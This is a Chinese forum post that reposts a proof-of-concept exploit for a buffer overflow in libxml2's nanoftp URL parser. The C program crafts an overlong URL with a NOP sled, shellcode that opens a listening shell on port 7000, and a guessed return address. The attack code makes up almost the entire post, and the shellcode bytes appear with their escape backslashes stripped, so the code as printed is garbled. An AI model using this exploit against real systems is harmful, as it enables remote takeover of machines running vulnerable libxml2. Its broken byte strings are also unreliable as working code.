发新话题
打印

libxml2 Remote buffer overflow Proof of Concept Exploit

libxml2 Remote buffer overflow Proof of Concept Exploit

信息来源:www.hk20.com
复制内容到剪贴板
代码:
/*
*  libxml 2.6.12 nanoftp bof POC  infamous42mdAThotpopDOTcom
*
*  [n00b localho outernet] gcc -Wall libsuxml.c -lxml2
*  [n00b localho outernet] ./a.out
*  Usage: ./a.out <retaddr> [ align ]
*  [n00b localho outernet] netstat -ant | grep 7000
*  [n00b localho outernet] ./a.out 0xbfff0360
*  xmlNanoFTPScanURL: Use [IPv6]/IPv4 format
*  [n00b localho outernet] netstat -ant | grep 7000
*  tcp      0     0 0.0.0.0:7000         0.0.0.0:*          LISTEN  
  
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <libxml/nanoftp.h>

#define die(x) do{ perror((x)); exit(1); }while(0)
#define BS 0x10000
#define NOP 0x90
#define NNOPS 3000
#define ALIGN 0

/* call them */
#define SHELL_LEN (sizeof(sc)-1)
char sc[] =
   "x31xc0x50x50x66xc7x44x24x02x1bx58xc6x04x24x02x89xe6"
   "xb0x02xcdx80x85xc0x74x08x31xc0x31xdbxb0x01xcdx80x50"
   "x6ax01x6ax02x89xe1x31xdbxb0x66xb3x01xcdx80x89xc5x6a"
   "x10x56x50x89xe1xb0x66xb3x02xcdx80x6ax01x55x89xe1x31"
   "xc0x31xdbxb0x66xb3x04xcdx80x31xc0x50x50x55x89xe1xb0"
   "x66xb3x05xcdx80x89xc5x31xc0x89xebx31xc9xb0x3fxcdx80"
   "x41x80xf9x03x7cxf6x31xc0x50x68x2fx2fx73x68x68x2fx62"
   "x69x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";
   

/*
*/
int main(int argc, char **argv)
{
   int x = 0, len = 0;
   char    buf[BS] = {&#39;A&#39;,};
   long    retaddr = 0, align = ALIGN;

   if(argc < 2){
      fprintf(stderr, "Usage: %s <retaddr> [ align ]n", argv[0]);
      return EXIT_FAILURE;
   }
   if(sscanf(argv[1], "%lx", &retaddr) != 1)
      die("sscanf");
   if(argc > 2)
      align = atoi(argv[2]);
   if(align < 0 || align > 3)
      die("nice try newblar");

   strncpy(buf, "://[", 4);
   len += 4;
   memset(buf+len, NOP, NNOPS);
   len += NNOPS;
   memcpy(buf+len, sc, SHELL_LEN);
   len += SHELL_LEN;
   
   len += align;
   for(x = 0; x < 2000 - (sizeof(retaddr) - 1); x += sizeof(retaddr))
      memcpy(buf+len+x, &retaddr, sizeof(retaddr));
   buf[len+x] = &#39;]&#39;;
   buf[len+x+1] = 0;

   xmlNanoFTPNewCtxt(buf);

   return EXIT_SUCCESS;
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题